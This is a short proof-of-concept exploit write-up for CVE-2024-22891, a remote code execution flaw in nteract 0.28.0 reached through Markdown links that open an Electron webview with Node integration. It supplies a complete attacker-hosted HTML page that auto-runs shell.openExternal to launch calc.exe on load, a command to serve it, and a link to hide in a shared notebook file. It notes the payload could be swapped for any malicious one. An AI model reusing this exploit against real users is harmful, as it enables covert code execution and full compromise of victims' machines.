
nteract 0.28.0 open redirect to RCE exploit
A Proof-Of-Concept for CVE-2024-22891 vulnerability.
nteract 0.28.0 allows Electron webview via Markdown link, with resultant remote code execution.
nteract 0.28.0 allows Electron webview via Markdown link, with resultant remote code execution (because nodeIntegration in webPreferences is true).
Exploit explain
Step 1) Attacker make server to Source code for launching a calc.exe using openExternal() function.
<html>
<head>
<title>jruru Link</title>
</head>
<body>
<a id="jruruLink">jruru Link</a>
<script>
// Script function definition
function openExternal() {
try {
const { shell } = require('electron');
shell.openExternal('file:C:/Windows/System32/calc.exe');
} catch(e) {
alert('JRURU - External link cannot be opened.');
console.error(e);
}
}
// Automatically execute openExternal function after the page is loaded
document.addEventListener('DOMContentLoaded', function() {
openExternal();
});
</script>
</body>
</html>
Note: ※ If you want to test it quickly, create a server on the attacker's PC with the following code.
$ python -m http.server 80
Step 2) Execute the nteract application on the victim's system and create a Markdown link, or share the attacker's ipynb file as an example code. Then, execute calc.exe.
[Read This] (http://[attcker_adress]/shard_data.html)

When executing a .ipynb file through file sharing, be cautious as the link may not be visible.This calc.exe could have been any malicious payload local or remote which could have given the attacker entire access to the victim’s system.